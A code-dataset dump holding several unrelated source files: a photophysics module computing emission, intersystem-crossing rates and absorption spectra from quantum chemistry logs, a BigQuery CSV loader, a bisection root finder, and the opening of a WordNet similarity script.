0)\n Ms = []\n for m in ['1','-1','0']:\n socst1 = soc_t1(file,m,fake_t,ind_s)\n socss0 = soc_s0(file,m,ind_t)\n socst1 = np.vstack((socss0[0,:],socst1))\n # Conjugate to get \n socst1[0] = socst1[0].conjugate()\n # Now conjugate socst1\n socst1 = socst1.conjugate()\n ess = ess[:np.shape(socst1)[0]]\n if 0 in ets[n_triplet]-ess:\n return 0\n for i in [0,1,2]:\n Ps = []\n p1 = (socss0/(0-ets))*dipts[:,i]\n p1 = np.sum(p1)\n p2 = (socst1/(ets[n_triplet]-ess))*dipss[:,i]\n p2 = np.sum(p2)\n z = p1+p2\n # append magnitude squared\n Ms.append((z*z.conjugate()).real) \n \n Ms = np.array(Ms)\n Ms = np.sum(Ms)*(conversion**2)\n return Ms\n#########################################################################################\n\n##READS NUMBER OF EXCITED STATES FROM INPUT FILE#########################################\ndef read_cis(file):\n file = file[:-3]+'com'\n with open('Geometries/'+file, 'r') as f:\n for line in f:\n if 'cis_n_roots' in line.lower():\n line = line.split()\n for elem in line:\n try:\n n_state = int(elem)\n break\n except:\n pass\n return n_state \n######################################################################################### \n\ndef phosph_osc(file,n_state,ind_s,ind_t,singlets,triplets):\n zero = ['0']\n zero.extend(ind_s)\n MMs = []\n MS0 = pega_dipolos(file, zero,\"Electron Dipole Moments of Ground State\",0) \n MS0resto = pega_dipolos(file, zero,\"Transition Moments Between Ground and Singlet Excited States\",0) \n MS0 = np.vstack((MS0,MS0resto)) \n for n_triplet in range(n_state):\n MT1 = pega_dipolos(file, ind_t,\"Electron Dipole Moments of Triplet Excited State\",n_triplet) \n MT1resto = pega_dipolos(file, ind_t,\"Transition Moments Between Triplet Excited States\",n_triplet) \n MT1 = np.vstack((MT1,MT1resto))\n #Fixing the order\n order = np.arange(1,n_state)\n order = np.insert(order,n_triplet,0)\n MT1 = MT1[order,:]\n ms = moment(file,singlets,triplets,MS0,MT1,n_triplet,ind_s,ind_t) \n MMs.append(ms)\n MMs = np.array(MMs)\n term = e*(hbar2**2)/triplets\n Os = (2*mass)*MMs/(3*term)\n return Os[np.newaxis,:]\n\ndef get_osc_phosph(files,Singlets, Triplets, Ss_s, Ss_t, IND_S, IND_T):\n n_state = read_cis(files[0])\n Es = Singlets #- (alphast2/alphaopt1)*Ss_s\n Et = Triplets #- (alphast2/alphaopt1)*Ss_t #removed correction from phosph_osc calculation \n for j in range(Singlets.shape[0]):\n tos = phosph_osc(files[j],n_state,IND_S[j,:],IND_T[j,:],Es[j,:],Et[j,:]) \n try:\n Os = np.vstack((Os,tos))\n except:\n Os = tos\n return Os\n\n##GETS ALL RELEVANT INFORMATION FROM LOG FILES###########################################\ndef analysis(files): \n n_state = read_cis(files[0])\n Numbers = []\n for file in files:\n singlets, triplets, oscs, ind_s, ind_t, ss_s, ss_t, gp = pega_energias('Geometries/'+file) \n singlets = np.array([singlets[:n_state]])\n triplets = np.array([triplets[:n_state]])\n oscs = np.array([oscs[:n_state]])\n ss_s = np.array([ss_s[:n_state]])\n ss_t = np.array([ss_t[:n_state]])\n ind_s = np.array([ind_s[:n_state]])\n ind_t = np.array([ind_t[:n_state]])\n gp = np.array([gp])\n try:\n Singlets = np.vstack((Singlets,singlets))\n Triplets = np.vstack((Triplets,triplets))\n Oscs = np.vstack((Oscs,oscs))\n Ss_s = np.vstack((Ss_s,ss_s))\n Ss_t = np.vstack((Ss_t,ss_t))\n IND_S = np.vstack((IND_S,ind_s))\n IND_T = np.vstack((IND_T,ind_t))\n GP = np.append(GP,gp) \n except:\n Singlets = singlets\n Triplets = triplets\n Oscs = oscs\n Ss_s = ss_s\n Ss_t = ss_t \n IND_S = ind_s\n IND_T = ind_t\n GP = gp\n Numbers.append(int(file.split('-')[1]))\n Numbers = np.array(Numbers)[:,np.newaxis] \n return Numbers, Singlets, Triplets, Oscs, Ss_s, Ss_t, GP, IND_S, IND_T\n#########################################################################################\n\n##PRINTS EMISSION SPECTRUM###############################################################\ndef printa_espectro_emi(initial,eps,nr,tdm,x,mean_y,error):\n mean_rate, error_rate = nemo.tools.calc_emi_rate(x, mean_y,error)\n primeira = f\"{'#Energy(ev)':4s} {'diff_rate':4s} {'error':4s} TDM={tdm:.3f} au\\n\"\n primeira += f'# Total Rate {initial} -> S0: {mean_rate:5.2e} +/- {error_rate:5.2e} s^-1\\n'\n primeira += f'#Epsilon: {eps:.3f} nr: {nr:.3f}\\n'\n arquivo = nemo.tools.naming(f'differential_rate_{initial.upper()}.lx')\n with open(arquivo, 'w') as f:\n f.write(primeira)\n for i in range(0,len(x)):\n text = f\"{x[i]:.6f} {mean_y[i]:.6e} {error[i]:.6e}\\n\"\n f.write(text)\n print(f'Spectrum printed in the {arquivo} file') \n####################################################################################### \n\n###CALCULATES WEIGHTED AVERAGES WHEN POSSIBLE##########################################\ndef means(y,weight,ensemble_mean=False):\n if ensemble_mean:\n try:\n mean = np.mean(y,axis=0)\n except:\n mean = np.mean(y)\n else: \n try:\n mean = np.average(y,axis=0,weights=weight)\n except:\n mean = np.average(y,axis=0)\n return mean \n########################################################################################\n\n###FORMATS RATES AND ERRORS IN THE SAME EXPONENT########################################\ndef format_rate(r,dr):\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n exp = np.nan_to_num(np.floor(np.log10(r)))\n try:\n exp[exp < -99] = -99\n except:\n exp = max(exp,-99)\n pre_r = r/10**exp\n pre_dr= dr/10**exp\n return pre_r, pre_dr, exp\n#########################################################################################\n\n###SAVES ENSEMBLE DATA#################################################################\ndef gather_data(initial,save=True):\n files = [i for i in os.listdir('Geometries') if '.log' in i] \n files = check_normal(files)\n files = sorted(files, key=lambda pair: float(pair.split('-')[1]))\n n_state = int(initial[1:]) -1\n eps_i, nr_i = nemo.tools.get_nr()\n kbT = nemo.tools.detect_sigma()\n if 's' in initial.lower():\n Numbers, Singlets, Triplets, Oscs, Ss_s, Ss_t, GP, IND_S, IND_T = analysis(files) \n if 's0' == initial.lower():\n label_oscs = [f'osc_s{i+1}' for i in range(Oscs.shape[1])]\n else:\n #Oscs = Oscs[:,n_state][:,np.newaxis]\n label_oscs = [f'osce_s{n_state+1+i}' for i in range(Oscs.shape[1])]\n noscs = pega_oscs(files, IND_S,initial)\n label_oscs.extend([f'osc_s{n_state+2+i}' for i in range(noscs.shape[1])])\n Oscs = np.hstack((Oscs,noscs)) \n try:\n header7 = []\n for i in range(Singlets.shape[1]):\n socs_partial = avg_socs(files,'singlet',i)\n header7.extend([f'soc_s{i+1}_t{j}' for j in range(1,1+socs_partial.shape[1])])\n try:\n socs_complete = np.hstack((socs_complete,socs_partial))\n except:\n socs_complete = socs_partial\n except:\n pass\n else:\n Numbers, Singlets, Triplets, _, Ss_s, Ss_t, GP, IND_S, IND_T = analysis(files)\n Oscs = get_osc_phosph(files,Singlets, Triplets, Ss_s, Ss_t, IND_S, IND_T)\n #Oscs = Oscs[:,n_state][:,np.newaxis]\n label_oscs = [f'osce_t{n_state+1+i}' for i in range(Oscs.shape[1])]\n noscs = pega_oscs(files, IND_T,initial)\n Oscs = np.hstack((Oscs,noscs)) \n label_oscs.extend([f'osc_t{n_state+2+i}' for i in range(noscs.shape[1])])\n try:\n header7 = []\n for i in range(Triplets.shape[1]):\n socs_partial = np.hstack((avg_socs(files,'ground',i),avg_socs(files,'triplet',i),avg_socs(files,'tts',i)))\n indices = [j+1 for j in range(Triplets.shape[1]) if j != i] #Removed Tn to Tn transfers\n header7.extend([f'soc_t{i+1}_s0'])\n header7.extend([f'soc_t{i+1}_s{j}' for j in range(1,1+Singlets.shape[1])])\n header7.extend([f'soc_t{i+1}_t{j}' for j in indices]) \n try:\n socs_complete = np.hstack((socs_complete,socs_partial))\n except:\n socs_complete = socs_partial \n except:\n pass\n header = ['geometry']\n header.extend(['e_s'+str(i) for i in range(1,1+Singlets.shape[1])])\n header.extend(['e_t'+str(i) for i in range(1,1+Triplets.shape[1])])\n header.extend(['d_s'+str(i) for i in range(1,1+Ss_s.shape[1])])\n header.extend(['d_t'+str(i) for i in range(1,1+Ss_t.shape[1])])\n header.extend(['gp'])\n header.extend(label_oscs)\n try:\n header.extend(header7)\n data = np.hstack((Numbers,Singlets,Triplets,Ss_s,Ss_t,GP[:,np.newaxis],Oscs,socs_complete))\n except:\n data = np.hstack((Numbers,Singlets,Triplets,Ss_s,Ss_t,GP[:,np.newaxis],Oscs))\n arquivo = f'Ensemble_{initial.upper()}_.lx'\n data = pd.DataFrame(data,columns=header)\n #add 'ensemble', 'kbT', 'nr', 'eps' columns with constant values\n # values are initial.upper(), kbT, nr_i, eps_i\n data['ensemble'] = initial.upper()\n data['kbT'] = kbT\n data['nr'] = nr_i\n data['eps'] = eps_i\n # make these the first columns\n cols = data.columns.tolist()\n cols = cols[-4:] + cols[:-4]\n data = data[cols]\n if save:\n data.to_csv(arquivo,index=False)\n return data\n#######################################################################################\n\n###PRINTS RATES AND EMISSION SPECTRUM##################################################\ndef export_results(data,emission,dielec):\n data = data.copy()\n initial = data['Transition'][0].split('>')[0][:-1]\n printa_espectro_emi(initial,dielec[0],dielec[1],emission['TDM'][0],emission['Energy'].values,emission['Diffrate'].values,emission['Error'].values)\n pre_r, pre_dr, exp = format_rate(data['Rate(s^-1)'],data['Error(s^-1)'])\n rate = [f'{pre_r[i]:5.2f}e{exp[i]:+03.0f}' for i in range(len(pre_r))]\n error = [f'{pre_dr[i]:5.2f}e{exp[i]:+03.0f}' for i in range(len(pre_dr))]\n headers = [i for i in data.columns.values if i != 'Rate(s^-1)' and i != 'Error(s^-1)' and i != 'Transition' ]\n for header in headers:\n if header == 'Prob(%)' or header == 'AvgConc(%)':\n data[header] = data[header].map('{:.1f}'.format)\n else:\n data[header] = data[header].map('{:.3f}'.format)\n data['Rate(s^-1)'] = rate\n data['Error(s^-1)'] = error\n arquivo = nemo.tools.naming(f'rates_{initial}_.lx') \n solvent = f'#Epsilon: {dielec[0]:.3f} nr: {dielec[1]:.3f}\\n'\n with open(arquivo, 'w') as f:\n f.write(solvent+data.to_string(header=True, index=False))\n print(f'Rates are written in the {arquivo} file') \n#######################################################################################\n\ndef reorder(initial_state, final_state, Ss_i, Ss_f, socs):\n argsort = np.argsort(initial_state, axis=1)\n initial_state = np.take_along_axis(initial_state, argsort, axis=1)\n Ss_i = np.take_along_axis(Ss_i, argsort, axis=1)\n corredor = int(np.sqrt(socs.shape[1]))\n socs_complete = socs.reshape((socs.shape[0], corredor,corredor))\n for j in range(socs_complete.shape[1]):\n socs_complete[:,j,:] = np.take_along_axis(socs_complete[:,j,:], argsort, axis=1)\n argsort = np.argsort(final_state, axis=1)\n final_state = np.take_along_axis(final_state, argsort, axis=1)\n Ss_f = np.take_along_axis(Ss_f, argsort, axis=1)\n for j in range(socs_complete.shape[1]):\n socs_complete[:,:,j] = np.take_along_axis(socs_complete[:,:,j], argsort, axis=1)\n return initial_state, final_state, Ss_i, Ss_f, socs_complete\n\n\ndef fix_absent_soc(data):\n columns = data.columns.values\n #check if at least one column contains soc_\n if any('soc_' in i for i in columns):\n return data\n else:\n singlets = [i.split('_')[1] for i in columns if 'e_s' in i and 'osc' not in i]\n triplets = [i.split('_')[1] for i in columns if 'e_t' in i and 'osc' not in i] \n for ss in singlets:\n for tt in triplets:\n data[f'soc_{ss}_{tt}'] = 0\n return data \n\n###CALCULATES ISC AND EMISSION RATES & SPECTRA#########################################\ndef rates(initial,dielec,data=None,ensemble_average=False, detailed=False):\n if data is None:\n data = gather_data(initial,save=True) \n eps_i, nr_i = nemo.tools.get_nr()\n kbT = nemo.tools.detect_sigma()\n else:\n eps_i = data['eps'][0]\n nr_i = data['nr'][0]\n kbT = data['kbT'][0]\n eps, nr = dielec[0], dielec[1]\n alphast1 = nemo.tools.get_alpha(eps_i)\n alphast2 = nemo.tools.get_alpha(eps) \n alphaopt1 = nemo.tools.get_alpha(nr_i**2)\n alphaopt2 = nemo.tools.get_alpha(nr**2)\n n_state = int(initial[1:]) -1\n initial = initial.lower() \n\n data = fix_absent_soc(data) \n\n\n #Emission Calculations\n lambda_be = (alphast2/alphast1 - alphaopt2/alphast1)*data['gp'].to_numpy()\n Ltotal = np.sqrt(2*lambda_be*kbT + kbT**2)\n energies = data.filter(regex=f'^e_{initial[0]}').to_numpy()\n delta_emi = energies - (alphast2/alphaopt1)*data.filter(regex=f'^d_{initial[0]}').to_numpy()\n constante = ((nr**2)*(e**2)/(2*np.pi*hbar*mass*(c**3)*epsilon0))\n if 't' in initial:\n constante *= (1/3)\n oscs = data.filter(regex='^osce_').to_numpy()\n argsort_emi = np.argsort(delta_emi, axis=1)\n delta_emi = np.take_along_axis(delta_emi, argsort_emi, axis=1)\n oscs = np.take_along_axis(oscs, argsort_emi, axis=1)\n delta_emi = delta_emi[:,n_state]\n oscs = oscs[:,n_state]\n energies = np.take_along_axis(energies, argsort_emi, axis=1)[:,n_state]\n espectro = (constante*((delta_emi-lambda_be)**2)*oscs)\n tdm = nemo.tools.calc_tdm(oscs,energies,espectro) \n left = max(min(delta_emi-2*Ltotal),0.01)\n right = max(delta_emi+2*Ltotal) \n x = np.linspace(left,right, int((right-left)/0.01))\n y = espectro[:,np.newaxis]*nemo.tools.gauss(x,delta_emi[:,np.newaxis],Ltotal[:,np.newaxis])\n N = y.shape[0]\n mean_y = np.sum(y,axis=0)/N \n error = np.sqrt(np.sum((y-mean_y)**2,axis=0)/(N*(N-1))) \n emi_rate, emi_error = nemo.tools.calc_emi_rate(x, mean_y,error) \n gap_emi = means(delta_emi,espectro,ensemble_average) \n mean_sigma_emi = means(Ltotal,espectro,ensemble_average) \n mean_part_emi = (100/N)/means(espectro/np.sum(espectro),espectro,ensemble_average) \n emi = np.hstack((x[:,np.newaxis],mean_y[:,np.newaxis],error[:,np.newaxis]))\n emi = pd.DataFrame(emi,columns=['Energy','Diffrate','Error'])\n emi.insert(0,'TDM',tdm)\n\n #Checks number of logs\n if data is None:\n N = data.shape[0]\n coms = nemo.tools.start_counter()\n if N != coms:\n print(f\"There are {coms} inputs and just {N} log files. Something is not right! Computing the rates anyway...\")\n \n #Intersystem Crossing Rates\n Singlets = data[[i for i in data.columns.values if 'e_s' in i and 'osc' not in i]].to_numpy()\n Triplets = data[[i for i in data.columns.values if 'e_t' in i and 'osc' not in i]].to_numpy()\n Ss_s = data[[i for i in data.columns.values if 'd_s' in i]].to_numpy()\n Ss_t = data[[i for i in data.columns.values if 'd_t' in i]].to_numpy()\n if 's' in initial:\n initial_state = Singlets - (alphast2/alphaopt1)*Ss_s\n final_state = Triplets - (alphaopt2/alphaopt1)*Ss_t\n socs_complete = data[[i for i in data.columns.values if f'soc_s' in i]].to_numpy()\n initial_state, final_state, Ss_s, Ss_t, socs_complete = reorder(initial_state, final_state, Ss_s, Ss_t, socs_complete)\n initial_state = initial_state[:,n_state]\n socs_complete = socs_complete[:,n_state,:]\n delta = final_state - np.repeat(initial_state[:,np.newaxis],final_state.shape[1],axis=1)\n lambda_b = (alphast2/alphaopt1 - alphaopt2/alphaopt1)*Ss_t\n final = [i.split('_')[2].upper() for i in data.columns.values if 'soc_'+initial.lower()+'_' in i]\n ##FOR WHEN IC IS AVAILABLE\n #socs_complete = np.hstack((socs_complete,0.0001*np.ones((Singlets.shape[0],Singlets.shape[1]-1))))\n #delta_ss = Singlets + np.repeat((alphast2/alphaopt1)*Ss_s[:,n_state][:,np.newaxis] - Singlets[:,n_state][:,np.newaxis],Singlets.shape[1],axis=1) - (alphaopt2/alphaopt1)*Ss_s #Sm (final) - Sn (initial) + lambda_b\n #indices = [i for i in range(Singlets.shape[1]) if i != n_state] #Removed Sn to Sn transfers\n #delta = np.hstack((delta,delta_ss[:,indices]))\n #lambda_bt= (alphast2/alphaopt1 - alphaopt2/alphaopt1)*Ss_s\n #lambda_b = np.hstack((lambda_b,lambda_bt[:,indices]))\n elif 't' in initial: \n #Tn to Sm ISC\n initial_state = Triplets - (alphast2/alphaopt1)*Ss_t\n final_state = Singlets - (alphaopt2/alphaopt1)*Ss_s\n socs_complete = data[[i for i in data.columns.values if 'soc_t' in i and 's0' not in i and i.count('t') == 1]].to_numpy()\n initial_state, final_state, Ss_t, Ss_s, socs_complete = reorder(initial_state, final_state, Ss_t, Ss_s, socs_complete)\n initial_state = initial_state[:,n_state]\n socs_complete = socs_complete[:,n_state,:]\n delta = final_state - np.repeat(initial_state[:,np.newaxis],final_state.shape[1],axis=1)\n lambda_b = (alphast2/alphaopt1 - alphaopt2/alphaopt1)*Ss_s\n final = [i.split('_')[2].upper() for i in data.columns.values if 'soc_'+initial.lower()+'_' in i and i.count('t') == 1]\n #Tn to S0 ISC\n socs_s0 = data[[i for i in data.columns.values if f'soc_t' in i and 's0' in i]].to_numpy()\n socs_s0 = np.take_along_axis(socs_s0, argsort_emi, axis=1)\n socs_s0 = socs_s0[:,n_state]\n socs_complete = np.hstack((socs_s0[:,np.newaxis],socs_complete))\n delta = np.hstack((delta_emi[:,np.newaxis],delta))\n lambda_b = np.hstack((lambda_be[:,np.newaxis],lambda_b))\n #Tn to Tm ISC\n #delta_tt = Triplets + np.repeat((alphast2/alphaopt1)*Ss_t[:,n_state][:,np.newaxis] - Triplets[:,n_state][:,np.newaxis],Triplets.shape[1],axis=1) - (alphaopt2/alphaopt1)*Ss_t #Tm (final) - Tn (initial) + lambda_b\n #indices = [i for i in range(Triplets.shape[1]) if i != n_state] #Removed Tn to Tn transfers\n #delta = np.hstack((delta,delta_tt[:,indices]))\n #lambda_bt= (alphast2/alphaopt1 - alphaopt2/alphaopt1)*Ss_t\n #lambda_b = np.hstack((lambda_b,lambda_bt[:,indices]))\n #final.extend([i.upper()[4:] for i in data.columns.values if 'soc_t' in i])\n\n\n\n sigma = np.sqrt(2*lambda_b*kbT + kbT**2)\n y = (2*np.pi/hbar)*(socs_complete**2)*nemo.tools.gauss(delta,0,sigma)\n # hstack y and espectro\n individual = np.hstack((espectro[:,np.newaxis],y))\n individual /= individual.shape[0]\n N = y.shape[0]\n rate = np.sum(y,axis=0)/N\n total = emi_rate + np.sum(rate)\n #Error estimate\n error = np.sqrt(np.sum((y-rate)**2,axis=0)/(N*(N-1))) \n \n results = np.array([[emi_rate,emi_error,100*emi_rate/total,gap_emi,np.nan,mean_sigma_emi,mean_part_emi]])\n mean_gap = means(delta,y,ensemble_average)[:,np.newaxis]\n mean_soc = 1000*means(socs_complete,y,ensemble_average)[:,np.newaxis]\n mean_sigma = means(sigma,y,ensemble_average)[:,np.newaxis]\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n mean_part = np.nan_to_num(100*rate/means(y,y,ensemble_average))\n rate = rate[:,np.newaxis]\n error = error[:,np.newaxis]\n labels = [f'{initial.upper()}->S0'] + [f'{initial.upper()}~>{j}' for j in final]\n\n\n # make a dataframe with Ss_s and Ss_t\n breakdown = pd.DataFrame(np.hstack((Ss_s/alphaopt1,Ss_t/alphaopt1)),columns=[f'chi_s{i+1}' for i in range(Ss_s.shape[1])] + [f'chi_t{i+1}' for i in range(Ss_t.shape[1])])\n # append a columns with energies named eng\n breakdown['eng'] = delta_emi\n breakdown['sigma'] = Ltotal\n # append individual to df, use labels as columns\n breakdown = pd.concat([breakdown,pd.DataFrame(individual,columns=labels)],axis=1)\n \n labels = np.array(labels)\n results_isc = np.hstack((rate,error,100*rate/total,mean_gap,mean_soc,mean_sigma,mean_part[:,np.newaxis])) \n results = np.vstack((results,results_isc))\n results = pd.DataFrame(results,columns=['Rate(s^-1)','Error(s^-1)','Prob(%)','AvgDE+L(eV)','AvgSOC(meV)','AvgSigma(eV)','AvgConc(%)'])\n results.insert(0,'Transition',labels)\n if detailed:\n return results, emi, breakdown\n else:\n return results, emi \n######################################################################################### \n\n###COMPUTES ABSORPTION SPECTRA########################################################### \ndef absorption(initial,dielec,data=None, save=False, detailed=False, nstates=-1):\n if data is None:\n data = gather_data(initial,save=True) \n eps_i, nr_i = nemo.tools.get_nr()\n kbT = nemo.tools.detect_sigma()\n else:\n eps_i = data['eps'][0]\n nr_i = data['nr'][0]\n kbT = data['kbT'][0]\n eps, nr = dielec[0], dielec[1]\n alphast1 = nemo.tools.get_alpha(eps_i)\n alphast2 = nemo.tools.get_alpha(eps) \n alphaopt1 = nemo.tools.get_alpha(nr_i**2)\n alphaopt2 = nemo.tools.get_alpha(nr**2)\n initial = initial.lower()\n constante = (np.pi*(e**2)*hbar)/(2*nr*mass*c*epsilon0)*1e20\n spin = initial[0]\n if initial == 's0':\n engs = [i for i in data.columns if 'e_s' in i and 'osc' not in i]\n ds = [i for i in data.columns if 'd_s' in i]\n oscs = [i for i in data.columns if 'osc_s' in i]\n oscs = data[oscs].values\n engs = data[engs].values\n ds = data[ds].values\n lambda_b = (alphast2/alphaopt1 - alphaopt2/alphaopt1)*ds\n DE = engs - (alphaopt2/alphaopt1)*ds\n else:\n num = int(initial[1:])\n engs = [i for i in data.columns if f'e_{spin}' in i and 'osc' not in i]\n engs = [i for i in engs if int(i.split('_')[1][1:]) > num]\n ds = [i for i in data.columns if f'd_{spin}' in i]\n ds = [i for i in ds if int(i.split('_')[1][1:]) > num]\n oscs = [i for i in data.columns if 'osc_' in i]\n oscs = [i for i in oscs if int(i.split('_')[1][1:]) > num]\n base = data[f'e_{initial}'].values[:,np.newaxis]\n bs = data[f'd_{initial}'].values[:,np.newaxis]\n engs = data[engs].values\n ds = data[ds].values\n oscs = data[oscs].values\n lambda_b = (alphast2/alphaopt1 - alphaopt2/alphaopt1)*ds\n DE = engs - (alphaopt2/alphaopt1)*ds - np.repeat(base -(alphast2/alphaopt1)*bs,engs.shape[1],axis=1) \n # Sorting states by energy\n argsort = np.argsort(DE,axis=1)\n DE = np.take_along_axis(DE,argsort,axis=1)\n oscs = np.take_along_axis(oscs,argsort,axis=1)\n lambda_b= np.take_along_axis(lambda_b,argsort,axis=1)\n ds = np.take_along_axis(ds,argsort,axis=1)\t\n Ltotal = np.sqrt(2*lambda_b*kbT + kbT**2)\n left = max(np.min(DE-2*Ltotal),0.01)\n right = np.max(DE+2*Ltotal) \n x = np.linspace(left,right,int((right-left)/0.01))\n if nstates == -1:\n nstates = DE.shape[1]\n # Add extra dimension to DE and Ltotal to match x shape \n DE = DE[:,:nstates,np.newaxis]\n Ltotal = Ltotal[:,:nstates,np.newaxis]\n oscs = oscs[:,:nstates,np.newaxis]\n lambda_b = lambda_b[:,:nstates,np.newaxis]\n y = constante*oscs*nemo.tools.gauss(x,DE,Ltotal)\n N = oscs.shape[0]\n mean_y = np.sum(y,axis=0)/N \n #Error estimate\n sigma = np.sqrt(np.sum((y-mean_y)**2,axis=0)/(N*(N-1))) \n mean_y = mean_y.T\n sigma = sigma.T\n total = np.sum(mean_y,axis=1)\n sigma = np.sum(sigma,axis=1)\n #append total to mean_y\n mean_y = np.append(mean_y,total[:,np.newaxis],axis=1)\n\n # make dataframe\n labels = [initial[0].upper()+str(int(initial[1:])+i+1) for i in range(0,mean_y.shape[1]-1)]\n labels += ['Total','Error']\n labels = ['Energy'] + labels\n abs_spec = pd.DataFrame(np.hstack((x[:,np.newaxis],mean_y,sigma[:,np.newaxis])),columns=labels)\n \n if save:\n arquivo = nemo.tools.naming(f'cross_section_{initial.upper()}_.lx')\n primeira = f\"{'Energy(ev)':8s} {'cross_section(A^2)':8s} {'error(A^2)':8s}\\nAbsorption from State: {initial.upper()}\\nEpsilon: {eps:.3f} nr: {nr:.3f}\\n\"\n labels = ['{:14s}'.format(i) for i in labels]\n primeira += ' '.join(labels)\n fmt = ['%14.6e' for i in range(0,mean_y.shape[1])]\n fmt = ' '.join(fmt)\n np.savetxt(arquivo, np.hstack((x[:,np.newaxis],mean_y,sigma[:,np.newaxis])), fmt='%14.6f '+ fmt +' %14.6e', header=primeira)\n print(f'Spectrum printed in the {arquivo} file')\n\n # concatenate oscs[:,:,0] with DE[:,:,0] and ds\n colunas = [f'{initial.upper()}->{spin.upper()}{i}' for i in range(int(initial[1:])+1,int(initial[1:])+oscs.shape[1]+1)]\n colunas += [f'eng_{spin}{i}' for i in range(int(initial[1:])+1,int(initial[1:])+DE.shape[1]+1)]\n colunas += [f'chi_{spin}{i}' for i in range(int(initial[1:])+1,int(initial[1:])+ds.shape[1]+1)]\n colunas += [f'sigma_{spin}{i}' for i in range(int(initial[1:])+1,int(initial[1:])+Ltotal.shape[1]+1)]\n # concatenate oscs[:,:,0] with DE[:,:,0] and ds\n breakdown = pd.DataFrame(np.hstack((oscs[:,:,0],DE[:,:,0],ds/alphaopt1,Ltotal[:,:,0])),columns=colunas)\n if detailed:\n return abs_spec, breakdown\n else:\n return abs_spec \n#########################################################################################","repo_name":"LeonardoESousa/NEMO","sub_path":"nemo/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":42140,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"70"} +{"seq_id":"44342645060","text":"import json\nimport time\nimport uuid\nimport yaml\n\nfrom googleapiclient import discovery\nfrom oauth2client.client import GoogleCredentials\n\nbq_import_creds = yaml.load(open('bq_import_creds.yml'))\nproject_id = bq_import_creds['project_id']\ndataset_id = bq_import_creds['dataset_id']\nsource_schema = bq_import_creds['schema']\ntable_name = dataset_id+string.replace(filename, \".csv\", \"\")\nsource_path = cloud_storage_dir+table_id+filename\ndata_path = source_path\n\n# [START load_table]\ndef load_table(bigquery, project_id, dataset_id, table_name, source_schema,\n source_path, num_retries=5):\n \"\"\"\n Starts a job to load a bigquery table from CSV\n Args:\n bigquery: an initialized and authorized bigquery client\n google-api-client object\n source_schema: a valid bigquery schema,\n see https://cloud.google.com/bigquery/docs/reference/v2/tables\n source_path: the fully qualified Google Cloud Storage location of\n the data to load into your table\n Returns: a bigquery load job, see\n https://cloud.google.com/bigquery/docs/reference/v2/jobs#configuration.load\n \"\"\"\n\n # Generate a unique job_id so retries\n # don't accidentally duplicate query\n job_data = {\n 'jobReference': {\n 'projectId': project_id,\n 'job_id': str(uuid.uuid4())\n },\n 'configuration': {\n 'load': {\n 'sourceUris': [source_path],\n 'schema': {\n 'fields': source_schema\n },\n 'destinationTable': {\n 'projectId': project_id,\n 'datasetId': dataset_id,\n 'tableId': table_name\n }\n }\n }\n }\n\n return bigquery.jobs().insert(\n projectId=project_id,\n body=job_data).execute(num_retries=num_retries)\n# [END load_table]\n\n\n# [START poll_job]\ndef poll_job(bigquery, job):\n \"\"\"Waits for a job to complete.\"\"\"\n\n print('Waiting for job to finish...')\n\n request = bigquery.jobs().get(\n projectId=job['jobReference']['projectId'],\n jobId=job['jobReference']['jobId'])\n\n while True:\n result = request.execute(num_retries=2)\n\n if result['status']['state'] == 'DONE':\n if 'errorResult' in result['status']:\n raise RuntimeError(result['status']['errorResult'])\n print('Job complete.')\n return\n\n time.sleep(1)\n# [END poll_job]\n\n\n# [START run]\ndef main(project_id, dataset_id, table_name, schema_file, data_path,\n poll_interval, num_retries):\n # [START build_service]\n # Grab the application's default credentials from the environment.\n credentials = GoogleCredentials.get_application_default()\n\n # Construct the service object for interacting with the BigQuery API.\n bigquery = discovery.build('bigquery', 'v2', credentials=credentials)\n # [END build_service]\n\n with open(schema_file, 'r') as f:\n schema = json.load(f)\n\n job = load_table(\n bigquery,\n project_id,\n dataset_id,\n table_name,\n schema,\n data_path,\n num_retries)\n\n poll_job(bigquery, job)\n# [END run]\n\n","repo_name":"MMMdata/BigQuery_auto_reporting","sub_path":"load_data_from_csv.py","file_name":"load_data_from_csv.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71430871906","text":"from math import exp\n\n\ndef f(x):\n return x**3 + 3*x - 5\n\n\ndef bisection(a, b, func):\n error_margin = 0.001\n try:\n a, b = int(a), int(b)\n except ValueError:\n raise ValueError(\"Values must be valid numbers(integers)\")\n if a > 0 > b or a < 0 < b:\n while True:\n c = (a + b) / 2\n if error_margin >= a - b:\n return c\n if func(c) * func(a) <= 0:\n b = c\n elif func(c) * func(b) <= 0:\n a = c\n else:\n raise Exception(\"Values must not both be positive or negative!\")\n","repo_name":"AstroTinkers/StrypesLab","sub_path":"arakelian_krikor_L9_T1.py","file_name":"arakelian_krikor_L9_T1.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"39916067135","text":"\"\"\"\nEsercitazione Conecpt Similarity\ncalcola similarità (usando 3 metriche) su coppie di termini\ncalcola inoltre indici di correlazione (Pearson e Spearman)\n\"\"\"\n\n__author__ = 'Davide Giosa, Roger Ferrod, Simone Cullino'\n\nfrom optparse import OptionParser\nimport matplotlib.pyplot as plt\nimport sys\nimport time\n\nfrom src.Esercitazione1.WordNetDriver import WordNetDriver\nfrom src.Esercitazione1.Metrics import Metrics\nfrom src.Esercitazione1.Indeces import *\n\n\ndef parse_csv(path):\n \"\"\"\n Parsifica file di input composta da coppia di termini annotati manualmente\n :param path: percorso file di input\n :return: [(w1, w2, gold)]\n \"\"\"\n couple_list = []\n with open(path, 'r') as fileCSV:\n for line in fileCSV.readlines()[1:]:\n temp = line.split(\",\")\n gold_value = temp[2].replace('\\n', '')\n couple_list.append((temp[0], temp[1], float(gold_value)))\n\n return couple_list\n\n\ndef main():\n global options\n\n couple_list = parse_csv(options.input)\n print(couple_list)\n\n wnd = WordNetDriver()\n\n similarities = [] # lista di liste di similarità, una lista per ogni metrica\n metric_obj = Metrics(wnd)\n start_time = time.time()\n metrics = list(zip(*metric_obj.get_all()))\n\n to_remove = []\n count = 0 # per contare le coppie di sensi totali\n for f in metrics[0]:\n sim_metric = [] # lista di similirtà per questa metrica\n i = 0\n for t in couple_list:\n ss1 = 